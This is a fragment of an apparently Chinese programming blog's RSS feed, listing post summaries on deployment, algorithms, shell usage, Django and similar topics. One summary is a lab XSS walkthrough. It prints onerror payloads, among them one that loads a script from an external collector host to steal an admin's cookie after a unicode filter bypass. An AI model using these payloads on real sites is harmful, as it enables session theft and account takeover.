      <link>https://bchobby.github.io/posts/0c3f62bb83f806ebe927fa169191c6d8/</link>
      <pubDate>Tue, 01 Aug 2023 15:17:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c3f62bb83f806ebe927fa169191c6d8/</guid>
      <description>1 用户手册 用户手册&#xA;网页上的是最新版本的，其它地方搜到的PDF文档比较旧，还缺了好多函数……&#xA;2 错误码 错误码&#xA;用户手册的一部分，调试时有一定用处&#xA;3 代码例子 c++代码例子&#xA;Python代码例子&#xA;对照仿写方便一些&#xA;其它的用到了再更新再这里&#xA;调优化器好难啊……日常跑飞了</description>
    </item>
    <item>
      <title>YAPI部署服务器(Docker)</title>
      <link>https://bchobby.github.io/posts/0af39695a988dfc3205f1219288731d8/</link>
      <pubDate>Tue, 01 Aug 2023 14:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0af39695a988dfc3205f1219288731d8/</guid>
      <description>【一】YAPI介绍 YApi 是高效、易用、功能强大的 api 管理平台，旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API，YApi 还为用户提供了优秀的交互体验，开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。 【二】部署 【1】环境 node.jsmongodbyapi 【2】更新软件包管理器 使用以下命令更新服务器上的软件包管理器。&#xA;对于 Ubuntu/Debian：&#xA;sudo apt update 对于 CentOS/RHEL：&#xA;sudo yum update 安装完成 【3】安装 Node.js 通过以下是不同操作系统上的安装步骤。&#xA;在 Ubuntu/Debian 上：&#xA;sudo apt install nodejs 在 CentOS/RHEL 上：&#xA;sudo yum install nodejs 注意：通过此方法安装的 Node.js 可能并不是最新版本。如果需要特定的 Node.js 版本，可以使用 Node 版本管理工具(如 nvm 或 n)进行安装。 安装完成 验证 Node.js 安装：&#xA;运行以下命令，确认 Node.js 是否正确安装并查看版本号。 node -v 安装 npm：&#xA;npm 是 Node.js 的包管理工具，也会随 Node.js 一起安装。再次运行验证命令来确认 npm 安装是否成功。 npm -v 【4】安装MongoDB(2.</description>
    </item>
    <item>
      <title>FuzzBuzz算法问题</title>
      <link>https://bchobby.github.io/posts/63397598a797522f58ccc0a26cc7559f/</link>
      <pubDate>Tue, 01 Aug 2023 13:04:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63397598a797522f58ccc0a26cc7559f/</guid>
      <description>java实现输入一个字符串，5:hogera 3:piyo 2:huga 30 按空格分隔为map。&#xA;例如，key为数字5，value为字符串hogera，&#xA;当最后的数字满足，30=532时，按照key的从小到达的顺序拼接字符串输出hugapiyohogera&#xA;当最后的数字数字满足其中一个key时，使出对应的value。&#xA;都不满足，直接输出最后一个数字&#xA;输入：5:hogera 3:piyo 2:huga 30&#xA;输出：hugapiyohogera&#xA;输入：5:hogera 3:piyo 2:huga 3&#xA;输出：piyo&#xA;输入：5:hogera 3:piyo 2:huga 33&#xA;输出：33&#xA;** TreeMap可以实现自动排序&#xA;import java.util.*; public class Chocolate { public static void main(String[] args) { String[] lines = getStdin(); Map&amp;lt;Integer, String&amp;gt; map = new TreeMap&amp;lt;&amp;gt;(); //分割空格得到字符串数组 String[] parts = lines[0].split(&#34;\\s+&#34;); //遍历字符串数组存入map，除了最后一位 int lastNum = Integer.parseInt(parts[parts.length - 1]); for (int j = 0; j &amp;lt; parts.length - 1; j++) { String[] keyValue = parts[j].</description>
    </item>
    <item>
      <title>安鸾靶场XSS挖掘&amp;绕过</title>
      <link>https://bchobby.github.io/posts/2caf26cf5cced7813573a22936774fab/</link>
      <pubDate>Tue, 01 Aug 2023 12:10:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2caf26cf5cced7813573a22936774fab/</guid>
      <description>传统方法试一下,发现scirp标签被过滤掉了&#xA;&amp;lt;script&amp;gt;alert(&#34;xss&#34;);&amp;lt;/script&amp;gt;&#xA;直接换一种标签接着测肯能不能弹窗&#xA;&amp;lt;img src=1 οnerrοr=alert(&#34;xss&#34;);&amp;gt;&#xA;使用&amp;lt;img&amp;gt;标签时弹窗了,说明没有对img标签进行过滤&#xA;自己构造一个img标签的js代码,让管理员带着cookie来见我&#xA;&amp;lt;img src=x οnerrοr=s=createElement(&#39;script&#39;);body.appendChild(s);s.src=&#39;http://vpn.whalwl.work:18080/5GlYEi?1690861593&#39;;&amp;gt;&#xA;没注意到上面的语句还有一个&#39;scirp&#39;,导致被过滤,js语法错误&#xA;重新构造,给scirp转码绕过&#xA;&amp;lt;img src=x οnerrοr=s=createElement(&#39;\u0073\u0063\u0072\u0069\u0070\u0074&#39;);body.appendChild(s);s.src=&#39;http://vpn.whalwl.work:18080/5GlYEi?1690861593&#39;;&amp;gt;&#xA;绕过成功了 发现有三个必要参数,cookie,roc_login,roc_secure&#xA;把这三个弄到小饼干上,盲猜一波管理员网站的地址是admin,http://106.15.50.112:8013/admin&#xA;回车</description>
    </item>
    <item>
      <title>对boostrap的模态框进行动态追加，高度不能自适应问题（float高度不能自适应问题）</title>
      <link>https://bchobby.github.io/posts/aefdfcafd5789afa366527ce7ea5ea95/</link>
      <pubDate>Tue, 01 Aug 2023 11:22:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aefdfcafd5789afa366527ce7ea5ea95/</guid>
      <description>出现情况&#xA;解决后效果&#xA;解决代码&#xA;在父级的div末尾追加&#xA;&amp;lt;div style=&#34;clear:both;&#34;&amp;gt;&amp;lt;/div&amp;gt;</description>
    </item>
    <item>
      <title>linux shell 总结命令</title>
      <link>https://bchobby.github.io/posts/d6dd1a9bcdcd3aefb0d1670f1fdd4823/</link>
      <pubDate>Tue, 01 Aug 2023 10:36:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6dd1a9bcdcd3aefb0d1670f1fdd4823/</guid>
      <description>目录&#xA;前情提要：&#xA;引用：&#xA;一、文件比较运算符 二、字符串比较运算符&#xA;三、算术比较运算符 四、查看磁盘、文件大小 五、模仿浏览器请求curl&#xA;六、文件下载或数据请求&#xA;七、循环和判断语句&#xA;八、内容写入日志文件echo 九、休眠sleep 与定时crontab&#xA;十、备份（压缩/解压）&#xA;十一、文件操作&#xA;十二、nohup不挂断的运行&#xA;十三、linux shell使用expect实现sftp的自动交互&#xA;十四、文件和目录 十五、文件搜索 十六、端口查杀&#xA;十七、文件权限chmod&#xA;十八、分发文件scp&#xA;十九、VI常用命令&#xA;二十、设置脚本执行环境&#xA;二十一、执行错误 $&#39;\r&#39;:command not found&#xA;1，,替换&#xA;2，将换行符设置成UNIX的模式&#xA;二十二、查看应用所有端口号&#xA;二十三、问题记录&#xA;（一），cp omitting directory&#xA;1，问题描述&#xA;2.1，目标文件多级&#xA;2.2，目地文件多级&#xA;3，总结&#xA;前情提要： 一直想避免写脚本，但是往往你不想做的事情会成为你的绊脚石，winods,linux脚本都在不断接触，每次都要重新搜索。&#xA;既然逃不掉，那就去迎接，准备把之前零散写的汇聚起来，方便自己后期查看，形成体系。&#xA;摘抄会有注明路径,持续更新...&#xA;引用： 前六部分内容原贴地址&#xA;linux shell 文件比较、字符串比较、算数等常用指令_一只没有脚的鸟-CSDN博客&#xA;一、文件比较运算符 1. e filename 如果 filename存在，则为真 如： [ -e /var/log/syslog ] 2. -d filename 如果 filename为目录，则为真 如： [ -d /tmp/mydir ] 3.</description>
    </item>
    <item>
      <title>滑动窗口例题</title>
      <link>https://bchobby.github.io/posts/00704c100eff9919041024fc66065275/</link>
      <pubDate>Tue, 01 Aug 2023 09:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00704c100eff9919041024fc66065275/</guid>
      <description>1.适合解决的题目类型 滑动窗口，可以用来解决一些查找满足一定条件的连续区间的性质（长度等）的问题。由于区间连续，因此当区间发生变化时，可以通过旧有的计算结果对搜索空间进行剪枝，这样便减少了重复计算，降低了时间复杂度。往往类似于“请找到满足xx的最x的区间（子串、子数组）的xx”这类问题都可以使用该方法进行解决。&#xA;2.例题 面试题 17.18. 最短超串&#xA;主要思想就是先用右指针去寻找覆盖了子串的母串部分，然后滑动左侧边界，直到不满足覆盖条件。&#xA;代码及注释如下&#xA;class Solution { public int[] shortestSeq(int[] big, int[] small) { //左右双指针表示滑动窗口，start和min用来保存最优解 int left = 0,right = 0,start = 0; int min = Integer.MAX_VALUE; //window用来记录当前窗口包含的字符和出现的次数 //needs用来记录small当中出现的字符和包含的次数 HashMap&amp;lt;Integer,Integer&amp;gt; window = new HashMap&amp;lt;&amp;gt;(); HashMap&amp;lt;Integer,Integer&amp;gt; needs = new HashMap&amp;lt;&amp;gt;(); //记录small中出现的字符和包含的次数 for(Integer c:small ) needs.put(c,needs.getOrDefault(c,0)+1); //match用来保存匹配的个数 int match = 0; //移动right扩大窗口 while(right&amp;lt;big.length){ Integer c1 = big[right]; if(needs.containsKey(c1)){ window.put(c1,window.getOrDefault(c1,0)+1); if(window.get(c1)==needs.get(c1)){ match++; } } right++; //当匹配个数满足small时，移动 left 缩小窗口进行优化 while (match==needs.</description>
    </item>
    <item>
      <title>linux环境下运行脚本时常用＞/dev/null 2＞&amp;1 &amp;这一串的作用</title>
      <link>https://bchobby.github.io/posts/b4e16fed5bcdff4b2f2ddeef868ba07d/</link>
      <pubDate>Tue, 01 Aug 2023 01:56:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4e16fed5bcdff4b2f2ddeef868ba07d/</guid>
      <description>前言 大雨哗哗哗，叫车无人接，把最近用到的命令总结一下，方便日后的拿来主义。&#xA;&amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; 是一个常见的 Shell 命令行用法，用于在 Linux 或类 Unix 系统上运行一个程序并将其输出（标准输出和标准错误输出）重定向到 /dev/null，同时将程序在后台（background）运行。&#xA;接下来可以逐步解释下各部分的作用：&#xA;&amp;gt;：重定向符号，用于将输出重定向到指定的文件或设备。&#xA;/dev/null：在 Unix 系统上，/dev/null 是一个特殊的设备文件，它会将所有写入它的内容都丢弃，相当于一个空黑洞。将输出重定向到 /dev/null 就意味着将输出丢弃，不会显示在终端或记录到文件中。&#xA;2&amp;gt;：重定向标准错误输出的符号。2 表示标准错误流，也称为文件描述符 2。&#xA;&amp;amp;1：将标准错误输出重定向到标准输出的符号。&amp;amp;1 表示文件描述符 1，而标准输出的文件描述符也是 1。这样，就将标准错误输出和标准输出合并到一起，都重定向到了 /dev/null。&#xA;&amp;amp;：在命令行中，&amp;amp; 符号用于将命令置于后台运行，使得当前终端可以继续输入其他命令，而不需要等待前台命令的完成。&#xA;综合起来，&amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp; 的作用是将某个程序在后台运行，并将其标准输出和标准错误输出都丢弃，不在终端中显示或记录。这样做常常用于运行不需要显示输出的程序或脚本，并且让它在后台运行，不占用终端的输入输出。&#xA;去除文件夹下所有文本文件的行末空格 想要达到这个目的有多种实现方式，比如：&#xA;find . -type f -exec egrep -l &#34; +$&#34; {} \; | grep -v xxx | xargs sed -i &#39;s/[ ]*$//g&#39; 再比如：&#xA;find xxx -type f -name &#34;*.txt&#34; -exec sed -i &#39;s/[ \t]*$//&#39; {} \; 主要部分的含义：</description>
    </item>
    <item>
      <title>VSCode格式化shell脚本</title>
      <link>https://bchobby.github.io/posts/901f543b998251af257bf1910b22e121/</link>
      <pubDate>Tue, 01 Aug 2023 01:45:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/901f543b998251af257bf1910b22e121/</guid>
      <description>安装格式化插件：shell-format 用VSCode打开shell脚本之后，按格式化快捷键Ctrl+Alt+F，会提示没有格式化shell的工具，然后安装插件，我装的是这个插件：shell-format。&#xA;介绍：https://marketplace.visualstudio.com/items?itemName=foxundermoon.shell-format&#xA;GitHub：https://github.com/mvdan/sh&#xA;用法 Ctrl+Alt+F右键 --&amp;gt; 格式化文档 插件不生效问题排查及处理 安装成功后，尝试格式化好几次，都没有生效，然后发现控制台有报错：&#xA;shfmt hasn&#39;t downloaded yet!Error: ENOENT: no such file or directory, stat &#39;c:\Users\Administrator\.vscode\extensions\foxundermoon.shell-format-7.2.5\bin\shfmt_v3.6.0_windows_amd64.exe&#39; Shfmt will be downloaded automatically! download url: https://github.com/mvdan/sh/releases/download/v3.6.0/shfmt_v3.6.0_windows_amd64.exe download to: c:\Users\Administrator\.vscode\extensions\foxundermoon.shell-format-7.2.5\bin\shfmt_v3.6.0_windows_amd64.exe If the download fails, you can manually download it to the dest directory. Or download to another directory, and then set the &#34;shellformat.path&#34; as the path download shfmt page: https://github.com/mvdan/sh/releases You can&#39;t use this plugin until the download is successful.</description>
    </item>
    <item>
      <title>IDEA 中使用 while(scanner.hasnext()) 如何结束输入，tracktest 代码测验</title>
      <link>https://bchobby.github.io/posts/912fb2455d2d05459dcbacde522b769f/</link>
      <pubDate>Mon, 31 Jul 2023 23:23:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/912fb2455d2d05459dcbacde522b769f/</guid>
      <description>按 ctrl + d 即可。不用写回车结束输入什么的&#xA;ctrl + d 结束输入 import java.util.ArrayList; import java.util.Scanner; public class Test { public static void main(String[] args) { String[] lines = getStdin(); for (int i = 0, l = lines.length; i &amp;lt; l; i++) { String output = String.format(&#34;Hello %s!&#34;, lines[i]); System.out.println(output); } } private static String[] getStdin() { Scanner scanner = new Scanner(System.in); ArrayList&amp;lt;String&amp;gt; lines = new ArrayList&amp;lt;&amp;gt;(); while (scanner.hasNext()) { lines.add(scanner.nextLine()); } String[] strings = lines.</description>
    </item>
    <item>
      <title>解决AttributeError: ‘DataParallel‘ object has no attribute ‘xxxx‘</title>
      <link>https://bchobby.github.io/posts/9b8ea4d05617cb03f9420b2926a5de4f/</link>
      <pubDate>Mon, 31 Jul 2023 22:09:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b8ea4d05617cb03f9420b2926a5de4f/</guid>
      <description>问题描述 训练模型时，分阶段训练，第二阶段加载第一阶段训练好的模型的参数，接着训练&#xA;第一阶段训练，含有代码&#xA;if (train_on_gpu): if torch.cuda.device_count() &amp;gt; 1: net = nn.DataParallel(net) net = net.to(device) 第二阶段训练，含有代码&#xA;if (train_on_gpu): if torch.cuda.device_count() &amp;gt; 1: netT = nn.DataParallel(netT) netS = nn.DataParallel(netS) netT = netT.to(device) netS = netS.to(device) ----- orig_state_dict = torch.load(&#34;../models/model.pth&#34;)[&#39;net&#39;] new_state_dict = OrderedDict() for k, v in orig_state_dict.items(): name = k.replace(&#39;module.&#39;, &#39;&#39;) new_state_dict[name] = v netT.load_state_dict(new_state_dict) ----- for param in netS.parameters(): param.requires_grad = True #对源模型 netS 的 pose_fc1 层所有参数都设置为不需要进行反向传播更新。 for param in netS.</description>
    </item>
    <item>
      <title>java js</title>
      <link>https://bchobby.github.io/posts/196640ed661bd74a9ae2e1ddea04d61f/</link>
      <pubDate>Mon, 31 Jul 2023 18:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/196640ed661bd74a9ae2e1ddea04d61f/</guid>
      <description> Cocos2dxJavascriptJavaBridge.evalString(&#34;JsbUtil.javaToJs(&#39;&#34; + msg + &#34;&#39;);&#34;); </description>
    </item>
    <item>
      <title>django</title>
      <link>https://bchobby.github.io/posts/2b9afb89a6acc1575b159bfca38d10ad/</link>
      <pubDate>Mon, 31 Jul 2023 17:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b9afb89a6acc1575b159bfca38d10ad/</guid>
      <description>django学习 初识Django1.安装django2.创建项目2.1 在终端2.2 Pycharm 3. 创建app4.快速上手4.1 再写一个页面4.2 templates模板4.3 静态文件4.3.1 static目录4.3.2 引用静态文件 5.模板语法案例：伪联通新闻中心6.请求和响应案例：用户登录7.数据库操作7.1 安装第三方模块7.2 ORM1. 自己创建数据库2. django连接数据库3.django操作表4.表中的数据 案例：用户管理1. 展示用户列表2.添加用户3.删除用户 Django开发（一）1.新建项目2.创建app3.设计表结构（django）4.在MySQL中生成表5.静态文件管理6.部门管理7.模板的继承8.用户管理8.1 初识Form1. views.py2.user_add.html 8.3 ModelForm（推荐）0. models.py1. views.py2.user_add.html Django开发（二）8.4 编辑用户8.5 删除 9.靓号管理9.1 表结构9.2 靓号列表9.3 新建靓号9.4 编辑靓号9.5 搜索手机号9.6 分页 10.时间插件11.ModelForm和BootStrap操作 Django开发（三）1.Ajax请求2.订单小结3.图表 Django开发（四）1.知识点复习1.1 基础入门1.2 数据类型1.3 函数1.4 模块1.5 面向对象1.6 MySQL数据库1.7 前端开发1.8 Django 2.关于文件上传2.1 基本操作案例：批量上传数据案例：混合数据（Form）2.2 启用media案例：混合数据（form）案例：混合数据（ModalForm)models.py定义ModelForm视图 小结 总结 初识Django Python知识点：函数、面向对象。前端开发：HTML、CSS、JavaScript、jQuery、BootStrap。MySQL数据库。Python的Web框架： Flask，自身短小精悍 + 第三方组件。Django，内部已集成了很多组件 + 第三方组件。【主要】 1.安装django pip install django c:\python39 - python.exe - Scripts - pip.exe - django-admin.</description>
    </item>
    <item>
      <title>真空电子管、晶体管&amp;DRAM</title>
      <link>https://bchobby.github.io/posts/e743540057dd2d67e45a5f7b7c1f674f/</link>
      <pubDate>Mon, 31 Jul 2023 17:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e743540057dd2d67e45a5f7b7c1f674f/</guid>
      <description>文章目录 1. 导读读完这篇文章，你可以回答什么？ 2. 起源3. Q1-&amp;gt;A14. Q2-&amp;gt;A25. Q3-&amp;gt;A36. Reference7. 声明 1. 导读 读完这篇文章，你可以回答什么？ 什么是真空电子管？真空电子管的基本原理？为什么后来不研究真空电子管了，改成去研究晶体管？谁发明了晶体管？晶体管的类型以及发展历程？谁发明了DRAM？为什么？ 2. 起源 1800年伏达（vlota）发明了电池，因此我们可以对电进行学习，但在这之前我们只知道静电的存在，自从电池被发明之后，我们就可以更系统的学习相关的东西。世界上，有很多奇怪的人，在这样的人当中有人制造了玻璃管，为什么发明玻璃管呢？现在想，应该是为了控制灯耗而发明，爱迪生在研究灯泡的时候想的是延长灯亮的时间，那么讲究通过排空灯中的空气，之后，和电相连。如果不是特别古怪的人应该不会有这种想法，因此会产生独特的想法。阴极发出了光，形成光线，人们第一次看到这个会感到特别神奇。如果不感到神奇，那这个人有问题。之后，就有了真空管，从爱迪生到弗莱明再到弗雷斯特，都有着巨大的贡献。&#xA;3. Q1-&amp;gt;A1 真空电子管是由美国的发明家德·弗雷斯特发明的，他被人们誉为真空三极管之父。其主要受到弗莱明发现的“真空电子二极管（具有单向导电性）”的启发，在阴极和阳极之间加了一个栅极，使得其起到一个控制电流的作用。真空电子管主要的作用是放大。&#xA;lLee de Forest, 1906.lPrinciple: Based on the Vacuum Tube, the additional electrode has been added between the negative and positive electrode plate. That is called the Gate Electrode to realized the amplification of signal.l(Vpositive&amp;gt; Vgate&amp;gt; Vnegative) 真空电子管大概由三个部分组成，分别是灯丝（Header）、金属板（Plate）和网格（Grid）。灯丝的作用是产生电子，金属板的作用是接收通过Grid的电子，而网格的作用是控制通过其相应的电子数量，类似于电吉他的拾音器（Pick-up）。正常情况下，灯丝部分产生的是负电子，之后我们给金属板部分加上正电级，那么自然而然地电子会流到金属板去，但如果我们想要加快电子的流速，那么我们就向网格部分也加正电，这就会加速电子的流动。&#xA;真空电子管经过很长时间的发展期，不断地优化其大小，降低其功率的损耗，但最终还是放弃了继续优化，其中最具有代表性的就是苏联在上世纪一直延续使用真空电子管；除此之外，电子管的散热性比较差，容易出现过热的现象；成本比较高。反观transistor，体积比较小，工作电压也比较低，方便快捷。真空管制作困难、体积大、耗能高且使用寿命短，使得业界开始期望电子管替代品的出现。&#xA;4. Q2-&amp;gt;A2 贝尔实验室成立半导体研发小组，其中威廉·肖克利(William Shockley) 担任组长，成员包括约翰·巴丁 (John Bardeen) 和沃尔特·布拉顿 (Walter Brattain)。&#xA;起初，晶体管是一种点触式的，称为Point-contact Transistor（1947）；之后改进成为双端级型晶体管BJT（Bipolar JunctionTransistor ）；再后来就有了FET（Field Effect Transistor），其中包扩JFET（Junction Field Effect Transistor）(1948, William-Shockley)和MOSFET（Metal-Oxide-Semiconductor Field Effect Transistor） (1959, D.</description>
    </item>
    <item>
      <title>前馈神经网络实验</title>
      <link>https://bchobby.github.io/posts/ddb6e8388f20f2994a1b45778a10b9a4/</link>
      <pubDate>Mon, 31 Jul 2023 16:55:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddb6e8388f20f2994a1b45778a10b9a4/</guid>
      <description>手动实现前馈神经网络解决回归、二分类、多分类任务，分析实验结果并绘制训练集和测试集的loss曲线；利用torch.nn实现前馈神经网络解决上述回归、二分类、多分类任务，分析实验结果并绘制训练集和测试集的loss曲线；在多分类实验的基础上使用至少三种不同的激活函数，对比使用不同激活函数的实验结果；对多分类任务中的模型，评估隐藏层层数和隐藏单元个数对实验结果的影响使用不同的隐藏层层数和隐藏单元个数，进行对比实验并分析实验结果；在多分类任务实验中分别手动实现和用torch.nn实现dropout，探究不同丢弃率对实验结果的影响（可用loss曲线进行展示）；在多分类任务实验中分别手动实现和用torch.nn实现L2正则化，探究惩罚项的权重对实验结果的影响（可用loss曲线进行展示）；对回归、二分类、多分类任务分别选择上述实验中效果最好的模型，采用10折交叉验证评估实验结果，要求除了最终结果外还需以表格的形式展示每折的实验结果； 本次实验所使用的是在Pycharm 环境下安装的Python 3.9.7版本以及Pytorch 1.10。&#xA;（1）回归任务的数据集&#xA;回归任务为是单个数据集，数据集的大小为10000且训练集大小为7000，测试集大小为3000。数据集的样本特征维度p为500，且服从如下的高维线性函数。&#xA;import torch import numpy as np num_inputs = 500 num_examples = 10000 x_features = torch.tensor(np.random.normal(0, 1, (num_examples, num_inputs)), dtype=torch.float) y_labels = torch.mm(x_features,torch.ones(500,1)*0.0056) + 0.028 y_labels += torch.tensor(np.random.normal(0, 0.01, size=y_labels.size()), dtype=torch.float) #训练集 trainfeatures =x_features[:7000] trainlabels = y_labels[:7000] #测试集 testfeatures =x_features[7000:] testlabels = y_labels[7000:] （2）二分类任务的数据集&#xA;二分类任务的数据集由两个数据集构成，两个数据集的大小均为10000且训练集大小为7000，测试集大小为3000。两个数据集的样本特征x的维度均为200，且分别服从均值互为相反数且方差相同的正态分布。两个数据集的样本标签分别为0和1。通过键入下面代码，构造该数据集。&#xA;import torch from matplotlib import pyplot as plt num_inputs = 200 #1类 x1 = torch.normal(1,1,(10000, num_inputs)) y1 = torch.</description>
    </item>
    <item>
      <title>vscode - 配置Prettier插件和.editorconfig文件使用介绍</title>
      <link>https://bchobby.github.io/posts/acad937c4a562aad9d981cbb26b5c5c7/</link>
      <pubDate>Mon, 31 Jul 2023 16:50:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acad937c4a562aad9d981cbb26b5c5c7/</guid>
      <description>文章目录 1，介绍2，Prettier插件安装3，全局配置（settings.json）4，局部配置（新建.prettierrc文件）5，Prettier格式化优先级（重要）6，使用prettier格式化无效的解决办法7，.editorconfig文件使用介绍 1，介绍 官方解释：Prettier是一个固执己见的代码格式化程序。它通过解析代码并使用自己的规则重新打印代码来强制实现一致的风格，这些规则考虑了最大行长度，并在必要时包装代码。&#xA;其实就是一个代码格式化工具，是你写的代码更加合理和优美，同时这个插件配置也是非常的简单；&#xA;2，Prettier插件安装 到vsCode的扩展商城安装，如下第一个就是：&#xA;3，全局配置（settings.json） 1，在settings.josn 里面进行配置的规则相当于全局配置，当没有使用.prettier配置文件时，格式化代码会按照此规则进行格式化；&#xA;在settings.josn里面增加以下配置：&#xA;代码如下：&#xA;// &#34;prettier.useEditorConfig&#34;: false, // 是否使用editorConfig配置文件中的设置 &#34;prettier.semi&#34;: true, // 句尾是否填加分号 &#34;prettier.singleQuote&#34;: false, //是否使用单引号 &#34;prettier.trailingComma&#34;: &#34;none&#34;, //禁止随时添加逗号 &#34;prettier.printWidth&#34;: 200, //每行代码的限制长度 &#34;prettier.proseWrap&#34;: &#34;never&#34;, // 文本换行 &#34;prettier.bracketSpacing&#34;: true, // 在对象字面量的花括号内侧使用空格作为间隔 2，配置成默认的格式化工具&#xA;4，局部配置（新建.prettierrc文件） 在项目的根目录中新建 .prettierrc文件并配置，如下：&#xA;代码如下：&#xA;{ &#34;semi&#34;: true, &#34;singleQuote&#34;: false, &#34;trailingComma&#34;: &#34;none&#34;, &#34;printWidth&#34;: 200, &#34;proseWrap&#34;: &#34;never&#34;, &#34;bracketSpacing&#34;: true } 问：既在settings.josn做了全局配置又新建了.prettierrc文件，那么格式化会以那个为主呢；&#xA;答：以.prettierrc文件为主；没有此文件时会使用全局配置；&#xA;5，Prettier格式化优先级（重要） 优先级如下：&#xA;1、项目目录的.prettierrc文件，支持json和分号格式（其实还有很多种）&#xA;2、项目目录的.editorconfig文件&#xA;3、vscode的配置文件（settings.json）&#xA;.editorconfig文件会在下面讲到：&#xA;6，使用prettier格式化无效的解决办法 如果你只在settings.json中配置了格式化且你的项目根目录下有 .editorconfig文件 ，此时你的prettierrc默认格式化工具会达不到你的预期效果（或者无效）；</description>
    </item>
    <item>
      <title>小敖同学在学数据结构</title>
      <link>https://bchobby.github.io/posts/8d6e996badffe2cd28550c72e8224432/</link>
      <pubDate>Mon, 31 Jul 2023 16:47:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d6e996badffe2cd28550c72e8224432/</guid>
      <description>b站算法与数据结构教程&#xA;算法与数据结构 简单排序算法选择排序：每次选择无序序列中最小的值放入有序序列中冒泡排序：比较相邻元素，将最大值冒泡到最右边O(N^2)插入排序： 类似于扑克牌插牌 当前的数小于左边的数就往左交换，当往左换到最左边或者不小于左边数时停止交换。O(N^2)希尔排序快速排序 二分法详解与扩展对数器递归行为和递归行为时间复杂度的估算master公式归并排序 异或运算符 “∧”哈希表 简单排序算法 void swap(int&amp;amp; m, int&amp;amp; n) { int temp = m; m = n; n = temp; } 选择排序：每次选择无序序列中最小的值放入有序序列中 // 选择排序 i从0到n-1，将剩下元素中的最小值与i交换 void selectionSort(vector&amp;lt;int&amp;gt; &amp;amp;a) { int n = a.size(); for (int i = 0; i &amp;lt; n-1; ++i) { int minIndex = i; for (int j = i + 1; j &amp;lt; n; ++j) { // 找到剩下元素中的最小值并得到索引 minIndex = a[minIndex] &amp;lt; a[j] ?</description>
    </item>
    <item>
      <title>Html&amp;Js笔记（持续更新中...）</title>
      <link>https://bchobby.github.io/posts/e302428f02962a5419f8cac2f9f5997e/</link>
      <pubDate>Mon, 31 Jul 2023 16:44:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e302428f02962a5419f8cac2f9f5997e/</guid>
      <description>Html&amp;amp;Js笔记（持续更新中...） Html&amp;amp;Js笔记（持续更新中...）一. 基本控件的使用1.控件靠右显示2.设置按钮的属性和点击事件3.下拉列表的使用4.js中实现一个按钮的跳转 二. 设置控件的可见性：2.1. 隐藏时占位：2.2. 隐藏时不占位，使用hidden2.3. 隐藏时不占位，使用display2.4 vue中使用show 或hide方法： 三 超链接加加划线和改变颜色： Html&amp;amp;Js笔记（持续更新中…） 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。&#xA;一. 基本控件的使用 1.控件靠右显示 可以使用CSS的float属性将控件向右浮动，或者使用text-align属性将其父元素的文本对齐方式设置为右对齐。&#xA;例如：&#xA;&amp;lt;div style=&#34;text-align: right;&#34;&amp;gt; &amp;lt;input type=&#34;text&#34; style=&#34;float: right;&#34;&amp;gt; &amp;lt;/div&amp;gt; 2.设置按钮的属性和点击事件 &amp;lt;input type = &#34;button&#34; style=&#34;margin-right: 100px;float: right;background-color: #4C56B6;color: white&#34; onclick=&#34;testAlert()&#34;&amp;gt; 3.下拉列表的使用 &amp;lt;select name=&#34;myclass&#34; id=&#34;id-myclass&#34;&amp;gt; &amp;lt;option value = &#34;一班&#34; selected=&#34;selected&#34;&amp;gt;一班&amp;lt;/option&amp;gt; &amp;lt;option value = &#34;二班&#34;&amp;gt;二班&amp;lt;/option&amp;gt; &amp;lt;/select&amp;gt; 4.js中实现一个按钮的跳转 可以使用window.location.href来实现按钮的跳转，例如：&#xA;HTML代码：&#xA;&amp;lt;button onclick=&#34;goToPage()&#34;&amp;gt;跳转到新页面&amp;lt;/button&amp;gt; JavaScript代码：&#xA;function goToPage() { window.location.href = &#34;https://www.example.com&#34;; } 当用户点击按钮时，就会跳转到https://www.</description>
    </item>
    <item>
      <title>Android 创建 Gradle Task 自动打包并上传至蒲公英</title>
      <link>https://bchobby.github.io/posts/98d7d4e0753eb66f903d723b26edd24f/</link>
      <pubDate>Mon, 31 Jul 2023 16:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98d7d4e0753eb66f903d723b26edd24f/</guid>
